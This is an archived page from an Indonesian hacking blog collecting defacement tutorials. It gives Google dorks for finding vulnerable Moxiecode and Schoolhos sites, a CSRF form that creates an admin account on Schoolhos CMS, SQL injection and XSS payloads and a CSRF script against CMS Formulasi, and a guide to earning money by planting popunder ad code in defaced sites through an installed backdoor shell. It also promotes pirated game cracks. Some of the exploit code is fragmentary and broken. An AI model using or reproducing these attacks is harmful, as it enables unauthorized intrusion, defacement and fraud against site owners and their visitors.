Siti Nur Holida: September 2017

Archive for September 2017

Deface Website Metode Moxiecode File Browser | File Upload Vulnerability

Unknown 01.34

Unknown

CSRF 2

Deface Website Metode Moxiecode File Browser | File Upload Vulnerability

Dork Google :

intitle : Moxiecode File browser filetype:php
inurl : filemanager/frameset.php

Langkah Moxiecode File Browser

1. Copy dan search Dork yang sudah saya sediakan, silahkan kembangkan biar nemu yang verawan.

2. Pilih salah satu target, dan jika muncul seperti dibawah ini, maka ada kemungkinan website tersebut Vuln dengan Metode ini, tp belom tentu bisa untuk upload file.

Deface Website Metode Moxiecode File Browser | File Upload Vulnerability

3. Jika berhasil upload, nnti akan ada file anda misal. def.html, tinggal buka saja. Klik Open/View

Contoh Link :

http://www.target.com/tinymce/jscripts/tiny_mce/plugins/filemanager/frameset.php

Semoga bermanfaat.

Sumber : http://www.tkjcyberart.org

Download

Laporkan Jika Link Download Mati ! disini. [ Lapor !! ]

>> Fuck You ! ------------------------ // ~ root@Jack : ~ \\------------------------ Fuck You ! <<

Download Kumpulan Tools Hacking 100% Work

[ DOWNLOAD ] - [ DOWNLOAD ]

Yapss Admin mohon maaf jika ada kesalahan dalam penulisan atau penguploadan, jika ada kesalahan mohon dibenarkan dengan berkomentar di bawah postingan yang salah, berikan saran yang sifatnya membimbing agar blog ini bisa bermanfaat bagi para Newbie di Indonesia tentunya, Jika ingin menyumbangkan Tutornya atau Modulnya silahkan kirimkan ke Email yang sudah saya sediakan, Terimakasih Senpai :*

Greetz : ./Maniak_WiFi

\\ Like, Visit, Follow and Share

>> Facebook ** Faris Ghaisan Rabbani >> Twitter ** @JackTersakiti

>> Instagram ** /abdur.rozak.mw >> Youtube ** Pringsewu Cyber Team

// Why So Serious...

Exploit CMS Schoolhos 2017 | CSRF Vulnerability

Unknown 01.17

Unknown

CSRF 0

Exploit CMS Schoolhos 2017 | CSRF Vulnerability

Selamat datang di blog maniak wifi, kali ini kita belajar CSRF kembali, yaitu CSRF CMS Schoolhos dengan mudah, karena kita menggunakan bantuan Dork.

Exploit CMS Schoolhos 2017 | CSRF Vulnerability

=================

Dork Schoolhos

=================

Google Dork:

inurl:/?p=bukutamu
intext:Schoolhos Free Open Source CMS

==========================

CSRF CMS Schoolhos

==========================

<?php

$self = $_SERVER["PHP_SELF"];

echo 'Target';

echo "<form action=\"$self\" method=\"GET\"><input type=\"text\" name=\"url\"><input type=\"submit\"></form>";

if(!isset($_GET['url'])){

$url = "http://target.com/adminpanel/database/admin.php";

}else

{

$url = $_GET['url'];

}

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">

<html>

<head>

<title>!!Barrabravaz Everywhere!!</title>

</head>

<body>

<h1>!!Barrabravaz Everywhere!!</h1>

<?php echo "Target is : $url"; ?>

<form id="target" method="post" action="<?php echo "$url"; ?>/adminpanel/aplikasi/database/admin.php?pilih=admin&untukdi=tambah">

Isi username yang mau di isi <INPUT type="text" name="username" value="barrabravaz"><br>

Pass nya<INPUT type="text" name="password" value="barrabravaz"><br>

</form>

</body>

</html>

========================================

Jangan dirubah-rubah iya,, hargai yang buat tools :D

========================================

Semoga Bermanfaat :D

Sumber : http://alamshahcyber.blogspot.co.id/2014/07/tutorial-hack-situs-sekolah-cms_9.html

Download

Laporkan Jika Link Download Mati ! disini. [ Lapor !! ]

>> Fuck You ! ------------------------ // ~ root@Jack : ~ \\------------------------ Fuck You ! <<

Download Kumpulan Tools Hacking 100% Work

[ DOWNLOAD ] - [ DOWNLOAD ]

Greetz : ./Maniak_WiFi

\\ Like, Visit, Follow and Share

>> Facebook ** Faris Ghaisan Rabbani >> Twitter ** @JackTersakiti

>> Instagram ** /abdur.rozak.mw >> Youtube ** Pringsewu Cyber Team

// Why So Serious...

Exploit CMS Formulasi 2017 | CSRF Vulnerability

Unknown 00.59

Unknown

CSRF 0

Exploit CMS Formulasi 2017 | CSRF Vulnerability

Selamat siang para penduduk internet, terima kasih sudah berkunjung ke blog sederhana ini, semoga bermanfaat, kali ini kita akan belajar exploit cms formulasi dengan menggunakan CSRF yang ada dibawah ini, semoga succes :D

Exploit CMS Formulasi 2017 | CSRF Vulnerability

========================

SQL Injection

========================

Found on

http://localhost/formulasi/kelas-siswa.html

parameter : kelas

post data : kelas=1{SQL_HERE}

========================

XSS Vulnerability

========================

Found On

parameter : tgl

http://localhost/cmsformulasi/index.php?p=tglberita&tgl=<script>alert(123)</script>

========================

CSRF Vulnerability

========================

---------------------BOF--------------------------------------------------

<html>

<head>

<title>Formulasi CRSFT Exploit</title>

</head>

var pauses = new Array( "489","36","27" );

function pausecomp(millis)

{

var date = new Date();

var curDate = null;

do { curDate = new Date(); }

while(curDate-date < millis);

}

function fireForms()

{

var count = 3;

var i=0;

for(i=0; i<count; i++)

{

document.forms[i].submit();

pausecomp(pauses[i]);

}

</script>

<H2>Formulasi CSRF Exploit</H2>

</form>

</body>

</html>

---------------------EOF--------------------------------------------------

========================

Solution :

========================

No Update Until This Advisory published

========================

Timeline:

========================

2013-09-27 Provided details vulnerability to vendor

2013-10-01 Second NotificaTon Vendor

2013-10-04 No Response From Vendor

Sumber : https://www.exploit-db.com/

Terima kasih sudah berkunjung ke Blog ini semoga bermanfaat.

Download

Laporkan Jika Link Download Mati ! disini. [ Lapor !! ]

>> Fuck You ! ------------------------ // ~ root@Jack : ~ \\------------------------ Fuck You ! <<

Download Kumpulan Tools Hacking 100% Work

[ DOWNLOAD ] - [ DOWNLOAD ]

Greetz : ./Maniak_WiFi

\\ Like, Visit, Follow and Share

>> Facebook ** Faris Ghaisan Rabbani >> Twitter ** @JackTersakiti

>> Instagram ** /abdur.rozak.mw >> Youtube ** Pringsewu Cyber Team

// Why So Serious...

Cara Mendapatkan Uang Dollar Dengan Deface Website

Unknown 02.27

Unknown

Defacer 0

Cara Mendapat Uang Dengan Deface Website

Cara Mendapatkan Uang Dollar Dengan Deface Website

Hello Sobat MAS-TAH berjumpa lagi dengan saya M4574H ,, di sini saya akan bawakan tutorial Deface Web tapi mendapatkan penghasilan ..

Kamu Seorang Defacer ??? Mestinya pernah dong atau Sering deface web orang karena

sedang galau Atau kamu cuma iseng saja ...

Hehehehe ......

Manfaatkan hobimu untuk mencari penghasilan

Cuma pasang script saja , trus biarin saja sampe dolarnya numpuk hehehe ...

Daripada lapor ke admin dan mengharap imbalan tapi ga dibales-bales emailmu kan rugi ...

Apalagi admin Indo yang ga mau rugi dan songongnya bikin jengkel lagi hahaha ....

OK LANGSUNG SAJA SIMAK TUTORIALNYA BERIKUT :

Siapin Bahan Berikut :

+ Pc atau laptop ( Gk punya usaha lah masa maunya instant mulu, ke warnet kek jika males pinjam temen atau tetangga dulu )

+ Koneksi internet

+ Web yang sudah ke Deface + sudah ke tanem Shell Backdoor ,,, Kenapa kog harus ke tanem Shell Backdoor ??? Karena Shell Backdoor sendiri berfungsi sebagai akses Control panel sebuah website tersebut

+ Akun iklan jika belom punya bisa daftar di bawah

+ Kopi ( Kalau udah ngantuk di minum dulu Biar gak ngantuk )

+ Nasi+lauk pauk ( Kalau udah lapar di makan jangan di pandang , Biar bisa konsen )

Daftar ke situs iklan PPC di Bawah ini ,, pilih salah satu saja ( Semua juga boleh )

>>> , PopCash , PropellerAds, Poptm

Masa Seorang Defacer ngak bisa daftar begituan ,,, Kalo ngak bisa komentar di bawah nanti saya bimbing sampai bisa ..
Selanjutnya pemasangan iklan .. Nah di sinilah kita akan di bayar karena memasang iklan tersebut

Cara Memasang Kode Iklan PropellerAds Ke WEB

Cara Mendapatkan Uang Dollar Dengan Deface Website

1. Pilih Sites .

2. Pilih Add new site .

3. Lalu isi kolom tersebut dengan link web yang sudah ke Deface + sudah ke tanem

Shell Backdoor ,,, ,, kalau sudah klik Create Direct Link .

Cara Mendapatkan Uang Dollar Dengan Deface Website

4. Lalu Copas kode html ( Tag ) tersebut dengan cara klik kode html ( Tag ) tersebut lalu tekan

( CTRL+A ) lalu (CTRL+C) ... lalu masuk ke shell yangg sudah ke tanem di web tersebut .

Cara Mendapatkan Uang Dollar Dengan Deface Website

5. Pilih yang Index.php / index.html .
6. Lalu Klik Edit .

Cara Mendapatkan Uang Dollar Dengan Deface Website

7. Maka akan muncul kode script index web tersebut ,, lalu letakkan kode html ( tag ) yang

kita copas tadi di atas kode script <?php atau di atas kode script <head> .

Cara Mendapatkan Uang Dollar Dengan Deface Website

8. Pilih Popunder atau yang lainya juga boleh tergantung minat agan saja lalu klik Next .

Cara Mendapatkan Uang Dollar Dengan Deface Website

9. Isi kolom tersebut dengan judul chanel ( Bebas mau di isi apa saja ) .

Cara Mendapatkan Uang Dollar Dengan Deface Website

10. Copy kode html ( tag ) tersebut ,,, bisa liat gambar di atas .

Cara Mendapatkan Uang Dollar Dengan Deface Website

11. Lalu Pastekan kode html ( tag ) yang kita Copy tadi tepat di bawah kode html ( tag )

yang pertama kita copas tadi .

Cara Mendapatkan Uang Dollar Dengan Deface Website

12. Jika sudah klik save .

Kalau sudah tinggal nunggu penghasillannya ,,

Mudah kan gan tinggal duduk manis saja setelah pasang script tsb.

__________________________________________________________________________________

Sekian tutor dari saya maaf apabila ada salah kata ,,

maklum gan admin masih seorang NEWBIE

yang ingin menjadi seorang MASTAH

NB : Jika bingung saya sarankan berkomentar di bawah ,,,,

Ini copas, dari blog Mas Tah,, dia jg copas dari blog gw, jadi gw jg copas aja :v

Download

Laporkan Jika Link Download Mati ! disini. [ Lapor !! ]

>> Fuck You ! ------------------------ // ~ root@Jack : ~ \\------------------------ Fuck You ! <<

Download Kumpulan Tools Hacking 100% Work

[ DOWNLOAD ] - [ DOWNLOAD ]

Greetz : ./Maniak_WiFi

\\ Like, Visit, Follow and Share

>> Facebook ** Faris Ghaisan Rabbani >> Twitter ** @JackTersakiti

>> Instagram ** /abdur.rozak.mw >> Youtube ** Pringsewu Cyber Team

// Why So Serious...

Kumpulan Link Deep Web 2017 Update Terbaru

Unknown 07.34

Unknown

Deep Web 0

Kumpulan Link Deep Web Update Terbaru

Selamat malam para penggila internet, kali ini saya akan bagikan beberapa link deepweb yang saya dapat, atau yang saya sering pake untuk sekedar berselancar yah, silahkan liat dibawah ini.

Kumpulan Link Deep Web Update Terbaru

Deep Web Links Update:

Oke itulah yang bisa saya berikan, semoga bermanfaat :D

Download
Link Lengkap dari Sumber yang saya ambil.
[ VISIT ]

Laporkan Jika Link Download Mati ! disini. [ Lapor !! ]

>> Fuck You ! ------------------------ // ~ root@Jack : ~ \\------------------------ Fuck You ! <<

Download Kumpulan Tools Hacking 100% Work

[ DOWNLOAD ] - [ DOWNLOAD ]

Greetz : ./Maniak_WiFi

\\ Like, Visit, Follow and Share

>> Facebook ** Jack Shredder >> Twitter ** @JackTersakiti

>> Instagram ** /abdur.rozak.mw >> Youtube ** Pringsewu Cyber Team

// Why So Serious...

Download PES 2018 Full Version + Crack + Patch Free

Unknown 00.17

Unknown

Game 0

Download PES 2018 Full Version + Crack + Patch Free

Pro Evolution Soccer (PES) adalah seri permainan video sepak bola yang dikembangkan dan diterbitkan oleh Konami. Seri ini diproduksi di bawah pengawasan Shingo "Seabass" Takatsuka.

Setiap tahun, permainan ini dirilis sekitar akhir September dan/atau awal Oktober dengan dua judul yang berbeda: World Soccer: Winning Eleven di Jepang, dan Pro Evolution Soccer di negara lainnya. Versi Jepang merupakan versi lokal yang termasuk di dalamnya liga sepak bola lokal. Tahun 2007, permainan ini mulai menggunakan judul permainan "Winning Eleven: Pro Evolution Soccer" untuk pasar Amerika, yang kemudian diubah menjadi "Pro Evolution Soccer" tahun 2008.

Download PES 2018 Full Version + Crack + Patch Free

Pemain Portugal, Cristiano Ronaldo, pernah menjadi model untuk sampul depan DVD pada setiap permainan yang dirilis serta untuk iklan dan media promosi lainnya semenjak 2012 hingga 2014. Kemudian digantikan oleh Mario Götze.

Pada Desember 2011, Pro Evolution Soccer telah diterjemahkan ke 19 bahasa dan tersedia di 62 negara, termasuk Indonesia. Pada Desember 2012, seri permainan ini dijual hingga 81,65 juta kopi di seluruh dunia, yang menjadikannya sebagai salah satu permainan terlaris di dunia.

Spesifikasi

Persyaratan Sistem Minimum

OS: Windows 7/8 / 8.1 / 10
Prosesor: INTEL Core i3
RAM: 2 GB
Memori Video: 512 MB
Kartu Video: NVIDIA GeForce 8800 GS atau ATI Radeon X1600 XT
Sound Card: DirectX Kompatibel
DirectX: 9.0c
Hard Drive: 10 GB gratis

Persyaratan Sistem yang Disarankan

OS: Windows 7/8 / 8.1 / 10
Prosesor: INTEL Core i5
RAM: 4 GB
Memori Video: 1 GB
Kartu Video: NVIDIA GeForce GTX 260 atau ATI Radeon HD 4850
Sound Card: DirectX Kompatibel
DirectX: 9.0c
Hard Drive: 10 GB gratis

Steam adalah PC

Spesifikasi PES 2018

Fitur PES 2018 PC Game

Setelah Instalasi PES 2018 Free Download PC Game, Anda Bisa Menikmati Beberapa Fitur.

Game Baru di Seri Super Hit.
Peningkatan Pemutar Putar dan Pemutar Game.
Pilih Satu Tim Dari Tim Terkenal.
Bermain di Berbagai Turnamen dan Liga.
Kontrol Tim Anda Dengan Sempurna.
Pelajari Keterampilan Baru Dan Bergerak Di Game Play.
Jadikan Banyak Tujuan Sebagai Kemungkinan Dalam Pertandingan.
Lakukan Semua Jenis Tindakan di Game.
Buat Tim Anda Sendiri Menurut Gaya Bermain.
Berbagai Mode Permainan Dengan Tujuan Sendiri.
Hentikan Tujuan Lawan Dengan Gerakan yang Benar.
Menjadi Tim Sepak Bola Terbaik di Dunia.
Bersaing Dengan Pemain Lain Dalam Multiplayer.
Mesin Grafis Upgrade untuk Peningkatan Visual.
Superb Game Sounds With Original Sound Track.

Screenshoot

Download PES 2018 Full Version + Crack + Patch Free

Demo

Download PES 2018 Full Version + Crack + Patch Free

NB. Untuk Link Download Belom Ada, mungkin nunggu tahun 2018 baru ada link downloadnya :D

Download
Download PES 2018 Full Version + Crack + Patch Free
LINK 1 - LINK 2 - LINK 3 - LINK 4 - LINK 5

Laporkan Jika Link Download Mati ! disini. [ Lapor !! ]

Download Kumpulan Tools Hacking 100% Work

[ DOWNLOAD ] - [ DOWNLOAD ]

Greetz : ./Maniak_WiFi

\\ Like, Visit, Follow and Share

>> Facebook ** Jack Shredder >> Twitter ** @JackTersakiti

>> Instagram ** /abdur.rozak.mw >> Youtube ** Pringsewu Cyber Team

// Why So Serious...

Menambang Bitcoin dengan Mudah dan Cepat 100% Work

Unknown 23.42

Unknown

Bitcoin 0

Menambang Bitcoin dengan Mudah dan Cepat 100% Work

Bitcoin adalah mata uang digital yang sangat populer saat ini, bitcoin bisa didapatkan dengan mudah dengan aplikasi free tanpa berbayar, ataupun dengan aplikasi mining (Miner), semua materi tentang bitcoin akan dibahas dengan lengkap di website yang saya berikan.

Menambang Bitcoin dengan Mudah dan Cepat 100% Work

Untuk anda yang pertama mengenal bitcoin sangat cocok membaca artikel yang akan saya berikan, agar lebih mengenal bitcoin dengan baik, dan tidak akan terperangkap dalam sebuah aplikasi atau website SPAM yang marak terjadi sekarang ini.

Visit [ Free Bitcoin Ku ]

Download

Laporkan Jika Link Download Mati ! disini. [ Lapor !! ]

Download Kumpulan Tools Hacking 100% Work

[ DOWNLOAD ] - [ DOWNLOAD ]

Greetz : ./Maniak_WiFi

\\ Like, Visit, Follow and Share

>> Facebook ** Jack Shredder >> Twitter ** @JackTersakiti

>> Instagram ** /abdur.rozak.mw >> Youtube ** Pringsewu Cyber Team

// Why So Serious...

Deface Website WordPress Theme Felici - 'Uploadify.php' Arbitrary File Upload

Unknown 08.28

Unknown

File Upload 0

Deface Website WordPress Theme Felici - 'Uploadify.php' Arbitrary File Upload

The Felici theme for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this issue to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access to the application; other attacks are also possible.